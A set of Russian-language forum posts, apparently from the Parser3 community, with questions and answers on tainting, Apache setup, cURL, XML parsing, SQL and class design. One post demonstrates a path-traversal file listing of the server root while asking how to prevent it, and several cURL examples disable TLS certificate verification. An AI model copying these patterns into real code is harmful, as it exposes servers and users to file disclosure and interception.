  $.apply(true/false)   мгновенное или отложенное применение (по-умолчанию false)\
  $.regex[]             применить только к подстрокам по регэкспу\
\
# Пример1\
\
^paint[$var]            пачкает в dirty (неопределенно грязный) всю строку, \
                             поведение полностью аналогично ^taint[$var]\
\
^paint[$var][           куски dirty-покраски преобразовать в as-is, аналог ^untaint{$var}\
   $.to[as-is]\
   $.what[\
      $._default(false)\
      $.dirty(true)\
   ]\
]\
\
\
^paint[$var][              демонстрация гибкости\
    $.to[as-is]            покрасить строку в as-is\
    $.what[                  \
       $._default(false)     иcключить применение для всех встреченных в строке цветов\
       $.uri(true)           но применить для куска строки, которая покрашена в uri-цвет\
    ]\
    $.apply(true)            и применить преобразование сразу\
]\
\
\
\
# Дополнение:\
\
можно, также, ввести одну пользовательскую логическую краску (например usr)\
которая ничего не делает, но пригодится для какой-то логической операции в \
покраске, вот ту же \"точку/разделитель\" промаркировать и применять правило\
только к ней. Удобно на случай, когда мы не знаем какие символы будут окрашены\
в usr, и поэтому не можем применить regex, но зато можем применить правило для \
логического цвета.\
\
\
# Пример2 (для логической краски)\
\
# покрасим символ-разделитель в логический цвет\
$a[^paint[&][$.to[usr]]]\
$e[^paint[=][$.to[usr]]]\
\
\
$some_uri[var1${e}value1${a}var2=value2&var2=value3]   ->  var1=value1&var2=value2&var2=value3\
\
^paint[$some_uri][     покрасить $some_uri\
   $.to[uri]             в uri-раскраску\
   $.what[\
      $.usr(false)       но исключить это для кусков строки цвета usr\
   ]\
]\
\
# результат работы: сепараторы, покрашенные в usr не будут окрашены в uri-цвет:\
var1=value1&var2%3Dvalue2%26var2%3Dvalue3\
\
[/code]"
"84209","[quote]Напрашивается учёт покраски и разбиение по чистым точкам[/quote]\
\
Тут кому как. Мне например напрашивается не \"группировать строки в одну через разделитель-точку\". :)"
"84210","[quote]Мне например напрашивается не \"группировать строки в одну через разделитель-точку\".[/quote]\
\
Ну, фактически я так и сделал — ввёл уникальный разделитель, по которому потом разбираю строку.\
\
Учесть покраску можно сделав [code]^string.match[($separator);g]{^if(^reflection:tainting[$match.1] eq '0'){режем;не режем}}[/code], но свой разделитель проще."
"84211","Всем привет.\
Если надо выгрузить много файлов в архивах, то приходится их собирать в один большой и выдавать на скачку.\
В итоге из-за нехватки памяти выгрузка ломается (результирующий архив под 2 гб и больше).\
\
Есть ли возможность сделать response:download для каждого файла, чтобы запрос на скачку шел один за одним на каждый архив или сразу на пачку файлов?"
"84212","В документации на $response:download есть ценный комментарий для вашего случая:\
\
[quote]Для отдачи файлов с диска правильнее использовать $response:download[ $.file[documentation.pdf] ]. В этом случае файл не будет предварительно загружен в память, а значит нет ограничений на размер файла.\
[/quote]\
\
Ну или развлекаться с JavaScript:\
\
https://stackoverflow.com/questions/2339440/download-multiple-files-with-a-single-action"
"84213","Попробую для начала вариант из доки, спасибо.\
\
В документации в формате pdf нет такого коммента, поэтому и полез на форум.)"
"84214","Если делать file::load, то сразу после response:download можно удалять файл, чтобы место не занимал.\
Если использовать $.file, то файл удаляется, а окно с запросом на скачивание не выдается из-за отсутствия файла.\
\
Это как-то решается?"
"84215","[quote]Если использовать $.file, то файл удаляется, а окно с запросом на скачивание не выдается из-за отсутствия файла.[/quote]\
\
Нужно дождаться загрузки файла клиентом.\
Клиент может неделю его скачивать.\
\
Удалять по расписанию с запасом или при обращении за новым файлом."
"84216","Здравствуйте,\
возможно вопрос не по адресу, но всё же, \
занят настройкой Парсера на Apache2, \
и может есть ценные советы, ну или укажите на ошибки...\
Спасибо!\
\
[code]\
Конфигурация веб-сервера (Apache 2.4.18):\
\
Файловая структура:\
---------------------------------------------\
/var/www/site-001/      <- корень веб-пространства для данного virtual server\
                  html/  <- корень документов\
                     index.html\
\
                  cgi/  <- cgi-alias    \\\
                      charsets/         |\
                      libs/             |\
                      parser3.cgi      <- owner www-data:www-data\
                      auto.p            /\
---------------------------------------------\
\
\
\
Ключевая часть конфига Апача для site-001\
---------------------------------------------\
DocumentRoot /var/www/site-001/html\
\
<Directory />\
	AllowOverride None\
</Directory>\
\
<Directory /var/www/000-default/web>\
 	Options FollowSymLinks\
 	AllowOverride None\
 	Order allow,deny\
	Allow from all\
</Directory>\
\
ScriptAlias \"/cgi-bin/\" \"/var/www/site-001/cgi/\"\
\
<Directory \"/var/www/site-001/cgi\">\
	AllowOverride None\
	Options +ExecCGI\
	Order allow,deny\
	Allow from all\
</Directory>\
\
AddHandler parser3-handler html\
Action parser3-handler /cgi-bin/parser3.cgi\
---------------------------------------------\
\
[/code]\
\
Все работает и release-версия, и ночной билд для тестовой странички.\
\
Но если Парсерный код захочет сделать так:\
\
[code]\
$list[^file:list[/../../../../../]]\
^list.menu{\
    $list.name <br />\
}\
[/code]\
\
То, неизбежно сможет получить что-то вида:\
\
lib64 \
run \
root \
boot \
lost+found \
proc \
opt \
srv \
mnt \
etc \
sbin \
vmlinuz \
initrd.img \
snap \
tmp \
home \
dev \
sys \
lib \
var \
usr \
bin \
\
----\
\
Можно ли разрулить scope директорий не выше корня веб-пространства на уровне конфига Парсера или Апача?\
\
Или только средствами прав пользователя/группы www-data (под которым работает Apache2 - и как бы не сломать политику самого апача при этом)."
"84217","Если вам надо запустить несколько сайтов на одном Апаче, то стоит установить на Апача mod_suexec — http://httpd.apache.org/docs/2.4/mod/mod_suexec.html. Для каждого сайта завести отдельного пользователя и группу. В настройках виртуального хоста указываете пользователя и группу. После этого Парсер сможет читать и писать только файлы принадлежащие тому же пользователю/группе пользователей, от имени которых работает сам Парсер. Права на файлики и папки расставляете средставми операционной системы.\
\
Запирать Парсер жестко в веб-пространстве плохо. Очень хорошо, когда в веб-пространстве лежат только статический файлики, которе доступны публично. Код на Парсере, включая конфигурационные файлы, лучше по максимуму вынести из веб-пространства. Если даже Апач будет настроен неверно, то никто снаружи не сможет прочитать код сайта. \
\
В идеале в веб-пространстве должен лежать один index.html на который через mod_rewrite приходят все запросы. Код в index.html  должен быть минимальным — его задача взять запрос и вызвать код из внешнего файлика, который лежит вне веб-пространства. Если это невозможно, то выносим из веб-пространства конфигурационный файл и все классы."
"84218","1. Нет, сайт на сервере будет один (просто конфига сделанак по аналогии с базовым раскроем конфигов Апача: sites-available/enabled).\
\
2. Про mod_suexec понял... буду копать, но вот нашел попутно тред, где отзывались о его проблемности в применении: https://www.parser.ru/forum/?id=78886\
\
3. Да, стратегия размещения файлов такая и планировалась: в веб-пространстве только статика, и один _start.html на который ведет mod_rewrite\
\
4. Желание докучи обезопасить scope по файловой системе было привентивное, на случай потенциального XSS (безотносительно кода и его прилежности), когда ошибка в коде позволит направить код на папки и файлы выше корня веб-документов - по всей файловой системе.\
\
Опять, же не осложнить ли это работу с классами curl или проч..."
"84219","...то создайте пользователя и группу и запустите от него Апач. С суэкзеком никаких проблем в Апаче нет. В Парсер есть встроенная защита от XSS — читайте про taint. Если не мешать Парсеру и не доверять внешним данным, то никакие XSS вам не страшен."
"84222","Добрый день,\
\
Есть xml файл, в нем нужно перебрать блоки с занесением в бд, попутно, сохранив фото на сервер:\
\
[code]\
\
...\
<offer internal-id='121212121212'>\
     <type></type>\
     <property-type></property-type>\
     <image>64109_4040_593946aab0c2a.jpg</image>\
     <image>64109_4040_593946b18be54.jpg</image>\
     <description></description>\
     <building-type></building-type>\
     <building-series></building-series> \
     <area>\
          <value>51.00</value>\
          <unit>кв.м</unit>\
     </area>\
     <living-space>\
          <value>32.00</value>\
          <unit>кв.м</unit>\
     </living-space>\
     <kitchen-space>\
          <value>6.30</value>\
          <unit>кв.м</unit>\
     </kitchen-space>\
</offer>\
...\
[/code]\
\
Не имел раньше дела с xml. Подскажите, как это обработать?"
"84223","Как я понял, можно использовать такую схему:\
\
[code]\
\
$str[^xdoc.string[]]\
$parts[^str.split[</offer>;lh]]\
^parts.menu{\
  $parts.piece\
}\
\
[/code]\
\
И дальше уже внутри menu{} отпарсить строки\
\
На сколько такая конструкция жизнеспособна?"
"84225","Здравствуйте, не работает cURL.\
\
Парсер версии: parser3_4_5_centos6x64\
\
Работает на https редиректом с http в .htaccess\
Даже если отключить https результат не меняется\
\
Добавлял в опции $.library[libcurl.so.4], не помогло.\
\
Хостер пишет следующее:\
[i]curl включен по умолчанию на сервере, путь к нему не требуется прописывать.[/i]\
\
Лог:\
[i]'session' failed to load curl library libcurl.so: libcurl.so: cannot open shared object file: No such file or directory [curl][/i]\
\
Вот пример кода для работы с cURL:\
[code]^curl:session{\
	^curl:options[\
		$.url[https://suggestions.dadata.ru/suggestions/api/4_1/rs/detectAddressByIp]\
		$.charset[UTF-8]\
		$.httpget(1)\
		$.httpheader[\
			$.Accept[application/json]\
			$.Authorization[Token ...]\
		]\
		$.timeout(10)\
		$.ssl_verifypeer(0)\
	]\
	$location[^curl:load[\
		$.url[https://suggestions.dadata.ru/suggestions/api/4_1/rs/detectAddressByIp]\
		$.postfields[ip=^taint[uri][$env:REMOTE_ADDR]]\
		$.useragent[Parser3]\
		$.timeout(10)\
		$.ssl_verifypeer(0)\
	]]\
	^json:string[$location]\
}[/code]"
"84226","[code]> ldconfig -p | grep curl\
	libcurl-gnutls.so.4 (libc6,x86-64) => /usr/lib/x86_64-linux-gnu/libcurl-gnutls.so.4[/code]\
\
И прописываем полный путь к библиотеке:\
\
[code]\
@auto[]\
  ^curl:options[\
    $.library[/usr/lib/x86_64-linux-gnu/libcurl-gnutls.so.4]\
  ]\
\
@main[]\
  $t[^curl:load[\
    $.url[https://yandex.ru]\
  ]]\
  $t.text\
[/code]\
\
Вызов curl:options можно добавить в метод auto в главный конфигурационный файл auto.p."
"84227","Оказалось, что и по короткому пути работает. Главное, указать имя по которому система знает библиотеку. Имя указано в левой части вывода ldconfig -p.\
\
[code]@auto[]\
  ^curl:options[\
    $.library[libcurl-gnutls.so.4]\
  ][/code]"
"84228","Я что то пропустил в документации, что так можнно?"
"84229","[code]@main[]\
^connect[…]{\
	^action[]\
}\
\
@action[]\
^sql:void{…}[/code]"
"84230","В этом коде:\
[code]\
@insertuser[]\
#создаю новую группу\
^connect[$connect_string]{\
    ^void:sql{INSERT INTO groups (groupowner) VALUES ('$form:adusername')}\
}\
#Достаю ИД группы\
^connect[$connect_string]{\
    $lastgr_id(^int:sql{SELECT LAST_INSERT_ID()})\
}\
#Создаю нового юзера \
$cryptpas[^math:crypt[$form:adpassword;^$apr1^$]]\
^connect[$connect_string]{\
    ^void:sql{INSERT INTO a_users (u_name, password, u_group, u_rights) \
                VALUES ('$form:adusername', '$cryptpas', '$lastgr_id', 1)}\
}\
[/code]\
все нормально? есть ли вероятность того, что LAST_INSERT_ID вытащит ID кого-то другого кто \"одновременно\" регистрировался?"
"84231","[quote]есть ли вероятность того, что LAST_INSERT_ID вытащит ID кого-то другого кто \"одновременно\" регистрировался?[/quote]\
\
Нет.\
LAST_INSERT_ID привязан к подключению.\
\
https://dev.mysql.com/doc/refman/5.7/en/information-functions.html#function_last-insert-id\
[quote]The ID that was generated is maintained in the server on a [b]per-connection basis[/b]. This means that the value returned by the function to a given client is the first AUTO_INCREMENT value generated for most recent statement affecting an AUTO_INCREMENT column [b]by that client[/b]. This value cannot be affected by other clients, even if they generate AUTO_INCREMENT values of their own. [i]This behavior ensures that each client can retrieve its own ID without concern for the activity of other clients, and without the need for locks or transactions.[/i][/quote]"
"84232","Через PuTTY подключился к своему FTP аккаунту на хостинге, ввел эту команду и получил:\
[i][username@s18 ~]$ ldconfig -p | grep curl\
-bash: ldconfig: command not found[/i]\
\
Объясните для человека, который не использовал консоль."
"84233","В итоге хостер дал путь к библиотеке и все заработало в таком виде:\
[code]^curl:options[\
	$.library[libcurl.so.4.4.0]\
]\
$location[^curl:load[\
	$.url[https://suggestions.dadata.ru/suggestions/api/4_1/rs/detectAddressByIp?ip=$env:REMOTE_ADDR]\
	$.charset[UTF-8]\
	$.httpget(1)\
	$.useragent[GeekCo]\
	$.httpheader[\
		$.Accept[application/json]\
		$.Authorization[Token ...]\
	]\
	$.timeout(10)\
	$.ssl_verifypeer(0)\
]]\
^json:string[$location.text]\
[/code]"
"84234","[code]\
# создаю новую группу\
# и тут же ловлю last_insert_id\
\
^connect[$connect_string]{\
    ^void:sql{INSERT INTO groups (groupowner) VALUES ('$form:adusername')}\
    $lastgr_id(^int:sql{SELECT LAST_INSERT_ID()})\
}\
\
\
# а потом любые манипуляции по ходу работы, \
# но с уже запомненым в нашем runtime - $lastgr_id\
\
^connect[$connect_string]{\
...\
}\
[/code]"
"84235","Из документации следует, что .hash, - это метод класса hashfile\
В указанном же примере, вроде как sessions - это обычный hash.\
\
Собсно, хочу разобраться -- метод .hash подходит и к обычному хешу, или $sessions это хешфайл, но тогда где это указано?"
"84236","От летит напрямую на сервер в виде $form:passwd методом  POST?\
\
Есть ли примеры - сначала преобразовать а потом отправить зашифрованный?\
Будет ли в этом случае браузер предлагать сохранить пароль?"
"84237","Ветка форума четырнадцатилетней давности не лучшее место для поиска решения. :)\
\
p.s. Зашифруте канал между сайтом и сервером через https и перестаньте серьезно беспокоиться о том как отправить пароль."
"84238","Так уж вышло, что это вроде как наиилучший пример под мои нужды.\
А класс Михаила для меня пока слишком сложный - я не программист, увы.\
\
Ну и с https - очень уж геморно получение сертификата"
"84240","Идея в первом посте :)"
"84242","Евгений, вы свою идею сами для себя сформулируйте доходчиво, по шагам.\
Наверняка окажется, что она несложно реализуется самостоятельно."
"84243","Друзья, скажите, как выполнить авторизацию через веб-сервис?\
\
Код\
[code]\
$NewFile[^curl:load[\
	$.url[https://server.ru/torg/ws/RF_Obmen.1cws]\
	$.post(1)\
        $.postfields[userName=user&password=pw]\
        $.timeout(10)\
        $.ssl_verifypeer(0)	\
    ]]\
[/code]\
разумеется, не работает, так как сервер ждет данные для авторизации в xml. \
\
[code]^file::load[][/code] не работает, так как https.\
\
Как победить проблему, куда смотреть?"
"84244","[quote]не работает, так как сервер ждет данные для авторизации в xml.[/quote]\
\
Так а почему данные отправляете не в XML?\
\
Был [url=\"https://www.parser.ru/forum/?id=82666\"]пример[/url]."
"84245","Подскажите, пожалуйста, как оформляются имена куков, содержащие переменные и строковые компоненты?\
\
$all.id - число 25.\
\
Хочу записать кук с именем good25 и содержимым \"1\", пишу:\
\
[code]$name[good${all.id}]\
$cookie:$name[1][/code]\
\
Хочу прочесть его, пишу:\
\
[code]$checkfor[good${all.id}]^if(def $cookie:$checkfor){...[/code]\
\
Не работает :-)"
"84249","Пример из документации:\
[code]@main[]\
^call[a;b;c]\
\
@call[p;*args][k;v]\
p=$p\
^args.foreach[k;v]{\
   $k=$v\
}[^#0A]\
\
Выведет:\
p=a\
0=b\
1=c[/code]\
В котором я не понимаю: \
 - что такое [code]*args[/code]? Не нашел в документации что значат параметры передаваемые со звездочкой\
 - почему 0=b и 1=с?\
 - какая вообще логика при передачи параметров?"
"84250","... есть исчерпывающее описание:\
\
[quote]В методах, которые могут принимать произвольное число параметров все «лишние» параметры доступны в  хеша с числовыми ключами. Ключ 0 соответствует первому «лишнему» параметру. [/quote]\
\
В примере показано как параметры получить. В p попадает первый параметр, а в args второй, третий и т.д."
"84251","Я как раз не могу найти объяснения, что есть *args? и что вообще значит указание параметра со звездочкой?"
"84252","Передаются они как обычно, а принимает их метод в виде хеша с ключами от нуля.\
\
[code]^method[a;b;c]\
\
@method[*args]\
$args.0, $args.1, $args.2 \
[/code]\
\
Даст: a, b, c."
"84253","[quote]Я как раз не могу найти объяснения, что есть *args[/quote]\
\
Во-первых, это такой специальный синтаксис языка, (*имя_переменной), используемый только для работы с набором входящих параметров для метода (функции, процедуры). И позволяющий реализовать приём произвольного кол-ва параметров. \
\
Во-вторых, имя args - не зарезервированное для синтаксиса, это просто произвольное название перменной, которая при наличии звёздочки впереди - автоматически превратится в перменную с типом (классом) хеш (hash).\
\
В-третьих, аналог такого же синтаксиса, есть в языке Python - *args (прямой параллели проводить не надо, но для общего понимания, что это весьма распространненая синтаксическая практика).\
\
В-четвёртых, это не единственный (и точно не самый удобный) способ организовать приём произвольного числа параметров.\
\
Таким образом:\
[code]\
\
^method_one[A]                     ^rem{#  выдаст Answer = A  }\
^method_one[A;B]                   ^rem{#  выдаст ошибку, т.к. числе передаваемых параметров больше, чем умеет принимать метод  }\
^method_two[A;B;C;;;;D;E;F]        ^rem{#  выдаст Answer = A = B = C = = = = D = E = F  т.е. можно вызвать метод с любым кол-вом параметров, и даже пропуская }\
\
@method_one[some_param]\
# some_param - имеет тип строка (string), т.к. мы получили строку\
Answer = $some_param\
\
@method_two[*some_param]     ^rem{# <-- подсветка кода сломалась, это баг форума, не обращайте внимание }\
# благодаря синтаксису *var\
# some_param - автоматически становится типом хеш, \
# а все переданные в вызове параметра кладутся, как записи (ключи-значения) этого хеша\
# метод foreach - перебирает последовательно записи внутри хеша\
Answer ^some_param.foreach[k;v]{ = $v }  \
\
\
\
#----- Другой способ --------------\
# Существуют и другой, популярный способ вызова методов\
# с произвольным набором параметров (хотя и чуть более прожорливый по памяти)\
\
# в тело передачи параметров отдаем хеш, с ключами A,B,C и их значениями\
# метод сам решает какие параметры ему знакомы (по имени), а какие он\
# игнорирует (всё на воле автора метода)\
\
^method_three[ $.B[Banana]  $.A[Apple] $.C[Cholorine] ]  ^rem{# выдаст Answer = Apple = Banana }\
\
@method_three[some_param]\
# пересоздадим хеш, на случай вызова нашего метода\
# с пустым набором параметров, или не в формате хеша\
$some_param[^hash::create[$some_param]]\
\
Answer\
= $some_param.A    ^rem{ Apple }\
= $some_param.B    ^rem{ Banana }\
\
# теперь вместо привязки параметров к порядку следования (1,2...) \
# у нас - именованные параметры, порядок задания которых, \
# как мы видим, значения не имеет\
# мы можем принять любое кол-во параметров с любыми названиями (ключами)\
# и работать с теми, которые метод ожидает и умеет обрабатывать\
\
\
[/code]\
\
Не знаю, вышло ли понятнее :)"
"84254","Может мои вопросы звучат ламерски - но действительно, многие вещи, прочитав только мануал, понять не могу"
"84255","Я создал небольшой скрипт - сервис для продавцов, работающих по телефону. Его задача - выводить фразы, которые нужно говорить клиенту в конкретный момент продажи. Плюс выводятся возможные варианты реакции клиента на эти фразы.\
Сейчас как раз очень разросся код.\
Подскажите, пожалуйста, как можно изменить структуру, чтобы легче разбираться в коде.\
Структура файлов:\
/index.html\
/auto.p\
/admin/index.html\
/admin/auto.p\
\
[b]\
/index.html[/b]\
[code]@title[]\
Главная страница\
\
@toplink[]\
<a href=\"./admin/?scr=$form:scr&s=$form:s\">Редактировать</a>	\
\
@spichlist[]\
#тут формируется дополнительная менюшка, которая есть только на главной странице[/code]\
\
[b]/auto.p[/b]\
[code]\
@auto[]\
$connect_string[******]\
\
@main[]\
^userinit[]        ^rem{#  инициализирует $user   }\
^header[]          \
^if(def $user){  \
  ^body[]          ^rem{#  если есть кука и все ок то рабочее пространство }\
 }{\
  ^authbody[]      ^rem{#  незалогинен то форма приветствия и авторизации }\
}\
^footer[]\
\
\
# Футер\
@footer[]\
#код футера\
\
# Шапка\
@header[]\
#код шапки(много ХТМЛ) с включениями типа:\
^if(def $user){^toplink[]}\
\
@body[]\
^if(def $form:scr){\
<div>\
	<h4> Скрипт:  ^current_script[]  </h4>\
	<div>   ^echospich[]   </div>\
	<div>	^answerslist[] </div>\
<!-- ХТМЛ, который нет смысла тут демонстрировать -->\
<div>	 ^spichlist[]  \
<!-- ХТМЛ, который нет смысла тут демонстрировать -->\
}{\
#ХТМЛ если нету ничего в $form:scr \
}\
\
#далее описаны все методы,  и многие из них довольно громоздки, потому что \
#структура их приблизительно такова\
@echospich[]\
<div>	оформляющий ХТМЛ </div>\
<form> код формы на десяток строк </form>\
^if(def $form:ххх){Коннект к бд и соответствующие действия}\
<div>	оформляющий ХТМЛ </div>\
\
#в auto.p далее описаны практически все нужные в работе методы\
# чтения данных из $form и соответствующий вывод информации\
# этих методов несколько и они громоздки, так как включают в себя и ХТМЛ оформление, и проверку данных из БД\
# Аутентификации, регистрации, инициализации юзера\
\
\
\
[/code]\
\
В папке /admin/ структура файлов приблизительно такая-же. Исключение - чуть больше методов вынесено в /admin/index.html (т-как они только в админке используються)\
\
Сейчас как раз изучаю использование пользовательских классов - и хочу разгрузить auto.p\
Пока оптимизацию я вижу так: в отдельные классы вынести авторизацию/аутентификацию,\
вывод данных, редактирование данных. \
Подскажите, как например, это делаете вы? (Или как бы вы это сделали)\
Во многих методах у меня ХТМЛ код, яваскрипты, коннект к бд, проверка данных, формирование переменных и вывод данных — как можно это разделять? (буду признателен за пример)"
"84256","Во множестве примеров, в тч из урока по польз. классам, в качестве конструктора  используется @load. В самой же документации сказано:\
\
[code]# так рекомендуется называть метод-конструктор класса \
@create[параметры][/code]\
\
В чем разница?"
"84257","Подскажите, пожалуйста, правильно ли я сделал? \
меня смущает кусок:\
[code]@init[]\
$user[/code]\
\
Код:\
\
user.p\
\
[code]@CLASS\
userinit\
\
@load[]\
^if(def $cookie:smartseller){\
	^MAIN:dbconnect{\
  		 $sesuser[^table::sql{select\
	  username, usergroupid, user_rights \
  		 from\
	  a_session\
 		 where\
	  ses_crypt='$cookie:smartseller'}]\
	}\
}\
\
^if(def $sesuser){\
	 $user[\
		$.name[$sesuser.username]\
		$.groupid[$sesuser.usergroupid]\
		$.rights[$sesuser.user_rights] \
 	]\
}\
\
@init[]\
$user[/code]\
\
\
auto.p\
[code]@main[]\
$usr[^userinit::load[]]\
$user[^hash::create[^usr.init[]]]\
^header[]\
^if(def $user){  \
  ^body[]\
 }{\
  ^authbody[]\
}\
^footer[][/code]"
"84259","Конструкторы можно называть как угодно.\
\
Грань смысловая: если мы создаём файл, загружая его с диска, то логично, что конструктор называется «load», а если создаём пустой файл, то «create»."
"84260","В текущем примере конструктор класса в переменную загружает все записи о текущих сессиях.\
Целесообразно ли так делать? \
\
Что, если сессий будет несколько тысяч? Подобное будет сказываться на быстродействии?\
Или этот пример ориентирован на небольшое колличество сессий?"
"84261","Разумеется, нет никакого смысла извлекать все сессии."
"84262","Я сделал вот так:\
\
[code]@load[]\
#если есть кука - создается переменная $user с хешем данных о сессии\
^if(def $cookie:smartseller){\
	^MAIN:dbconnect{\
  		 $sesuser[^table::sql{select\
	  username, usergroupid, user_rights \
  		 from\
	  a_session\
 		 where\
	  ses_crypt='$cookie:smartseller'}]\
	}\
}\
\
^if(def $sesuser){\
	 $user[\
		$.name[$sesuser.username]\
		$.groupid[$sesuser.usergroupid]\
		$.rights[$sesuser.user_rights] \
 	]\
}[/code]\
\
Так норм?"
"84263","Конструктор — это обычный метод, который выполняется после создания объекта.\
В нём разумно формировать контекст объекта — устанавливать те поля, которые будут необходимы объекту для дальнейшей работы.\
\
В вашем примере это и происходит."
"84264","Искушенные веб-разработчики, в том или ином виде, приходят к схеме, в которой обрабатывают запрошенные урлы своим кодом, а не раскладывают код по физическим папкам на веб-сервере.\
\
[code]\
Примерная структура папок\
----------------------------------\
\
/engine      <- какая-то папка, где весь код/движок сайта на Парсере (файлы *.p)\
/data        <- какие-то служебные данные для кода Парсера (например, *.dat)\
\
/css         <- статические файлы\
/i\
/js\
/..\
\
.htaccess    <- конфиг для веб-сервера Apache \
                (точнее перекрытие директив основного конфига Апача)\
                актуально для шаред-хостинга, где нет возможности прописать\
                \"включение Парсера\" в основном конфиге веб-сервера.\
\
auto.p       <- корневой (в корне веб-документов) который выполняет роль, например \
                конфига для всего сайта, задание каких-то глоб.переменных и проч.\
\
_index.html  <- единственный .html файл, для \"точки запуска\".\
                если нам нужно давать статические файлы, как документы с\
                html с вёрсткой, то удобнее использовать для них расширение .htm,\
                чтобы не пропускать через Парсер, например.\
\
\
\
Примерное содержание файлов:\
-------------------------------\
\
--- .htaccess --- \
# назначаем обработчик для html\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3/parser3.cgi\
\
# запрет на доступ к служебным файлам, и коду на Парсер\
<Files ~ \"\\.(p|dat|dir|pag)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
# все запросы в урле\
# которые не соответствуют реально существующему файлу на диске\
# перенаправлять на _index.html\
RewriteEngine On\
RewriteBase /\
RewriteCond %{REQUEST_FILENAME} !-f\
RewriteRule ^(.*)$ /_index.html [QSA,L]\
\
---/.htaccess ---\
\
\
# DISCLAIMER: код ниже - не руководство к действию, а умозрительный пример\
\
\
--- auto.p ---\
# Тут может быть что-то типа конфига с глобальными переменными\
\
$SITE_DOMAIN_DEFAULT[mysite.com]\
$SITE_SOME_PARAM[...]\
#...\
\
# подключение каких-то классов\
# хотя удобнее использовать @autouse или перечислить пути для классов\
# в конфиге парсера\
\
^use[/engine/...]\
\
\
---/auto.p --- \
\
\
\
\
\
--- _index.html ---\
# то, как выглядит точка запуска зависит уже от внутренней (объектной) архитектуры \
# для старта достаточного использовать единственный метод main, класса MAIN, \
# все остальное разложено по пользовательским классам (движка) и их методам\
\
# например, как-то так:\
\
@main[]\
# создаем объект класса (\"процесс сайта на движке\")\
$runtime[^Engine::create[]]\
$result[^runtime.render[]]\
\
---/_index.html ---\
\
\
\
--- engine/Engine.p ---\
# класс как основное тело процесса движка\
@CLASS\
Engine\
\
@create[]\
\
# создадим какое-то уже пред-подготовленное параметрическое окружение\
# для передачи их дальше в подклассы\
$Environ[      \
   $.url[]             ^rem{# здесь уже может быть разобранный на части url) }\
   $.form[]            ^rem{# здесь уже структурированные данные из форм }\
   $.cookie[\
     $.session[]\
   ]\
   $.some_var[]\
]\
\
\
# инициируем основные архитектурные подклассы, путем создания объектов\
# и положим им в параметр ссылку на наш (внешний по отношению к ним)\
# экземпляр Engine ($self - зарезервированное имя системной переменной), \
# чтобы подклассы смогли \"общаться\", как со своим родительским классом (Engine) \
# так и через него - друг с другом\
\
$EModel[^Model::create[$self]]             ^rem{# создаем объект всей модели данных }\
$EController[^Controller::create[$self]]   ^rem{# создаем объект контроллера }\
$EView[^View::create[$self]]               ^rem{# создаем объект рендера результатов }\
\
@render[]\
...\
\
--- /engine/Engine.p ---\
\
\
\
--- engine/EModel.p ---\
# класс модели (голых данных и логики)\
@CLASS\
EModel\
\
@create[_parent_class]\
$Engine[$_parent_class]  ^rem{# теперь мы можем дотянуться до родительского класса }\
\
\
$Data[             ^rem{# какая то конечная структура/модель данных }\
   $.user[\
      $.id[^auth[$Engine.Environ.cookie.session]]\
   ]\
   $.sitemap[\
      $.[/about][       \
        $.title[\
           $.ru[О компании]\
           $.en[About Company]\
        ]\
      ]\
   ]\
#     ...                   \
   $.some[]\
]\
\
@auth[]\
...\
\
--- /engine/EModel.p ---\
[/code]\
\
\
\
Внутреннее устройство классов, под-классов, объектов и архитектура их взаимодействия,\
полностью на воле разработчика, и подходы могут существенно отличаться.\
\
Еще раз подчеркну, что пример выше написан, как умозрительный, и набросан буквально в тексте этого сообщения на форуме."
"84265","Собрал такую конструкцию:\
[code]\
$d[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<realty-feed>\
	<t attr=\"16410903845\">\
		<a>1.1</a>\
		<b>2</b>\
		<b>4</b>\
	</t>\
	<t attr=\"16410903846\">2</t>\
	<t attr=\"16410903900\">3</t>\
</realty-feed>\
}]\
\
$list[^d.select[/realty-feed/t]]\
^for[i](0;$list-1){\
	$node[$list.$i]\
\
	Атрибут: ^node.getAttribute[attr] <br/>\
	^node.selectString[string(a)]\
\
}[<hr/>]\
[/code]\
\
И возникло 2 вопроса:\
\
1. Почему, если указать [code]<realty-feed xmlns=\"http://webmaster.yandex.ru/schemas/feed/realty/2010-06\">[/code] получается пустая страница, а с [code]<realty-feed>[/code] все работает?\
\
2. Как перебрать одинаковые теги в цикле? Пробовал так:\
[code]\
$image[^d.select[/realty-feed/t[attr='16410903845']/b]]\
^for[j](0;$image-1){\
	$node[$image.$j]\
	$j\
}\
[/code]\
\
Видимо, select неправильный."
"84266","[quote]$list[^d.select[/realty-feed/t]]\
^for[i](0;$list-1){\
	$node[$list.$i]\
\
	Атрибут: ^node.getAttribute[attr] <br/>\
	^node.selectString[string(a)]\
\
}[<hr/>][/quote]\
\
Цикл не нужен, хеш давно помнит порядок элементов.\
\
[code]$list[^d.select[/realty-feed/t]]\
^list.foreach[;node]{\
	Атрибут: ^node.getAttribute[attr] <br/>\
	^node.selectString[string(a)]\
}[<hr/>][/code]\
\
[quote]1. Почему, если указать\
<realty-feed xmlns=\"http://webmaster.yandex.ru/schemas/feed/realty/2010-06\">\
получается пустая страница, а с\
<realty-feed>\
все работает?[/quote]\
\
Потому что это [url=https://www.parser.ru/forum/?id=64787]узлы другого пространства имён[/url].\
\
[quote]2. Как перебрать одинаковые теги в цикле? Видимо, select неправильный.[/quote]\
\
[code]$images[^d.select[/realty-feed/t[@attr=\"16410903845\"]/b]]\
^images.foreach[;image]{\
	^image.selectString[string(.)]\
}[<hr/>][/code]"
"84268","Я извиняюсь, задам еще один глупый вопрос. На тестовом примере все оттестировал, перешел на рабочий xml, и сразу же ошибка.\
\
Кусок рабочего узла:\
[code]\
<offer internal-id='16410903845'>\
  <type>продажа</type>\
  <property-type>жилая</property-type>\
  <category>квартира</category>\
  <last-update-date>2017-06-08T00:00:00+04:00</last-update-date>\
  <manually-added>1</manually-added>\
  <price>\
    <value>1450000</value>\
    <currency>RUR</currency>\
  </price>\
  <mortgage>0</mortgage>\
  <payed-adv>0</payed-adv>\
  <rooms>1</rooms>\
  <balcony>лоджия</balcony>\
  <bathroom-unit>совмещенный</bathroom-unit>\
  <floor>1</floor>\
  <floors-total>14</floors-total>\
  <image>http://www.nmls.ru/mlsfiles/images/64109_3843_5858ee9f3a1be.jpg</image>\
  <quality>без отделки</quality>\
  <phone>0</phone>\
  <internet>0</internet>\
  <parking>1</parking>\
  <rubbish-chute>0</rubbish-chute>\
  <lift>0</lift>\
  <building-type>Кирпичный</building-type>\
  <building-series>Элитная</building-series> \
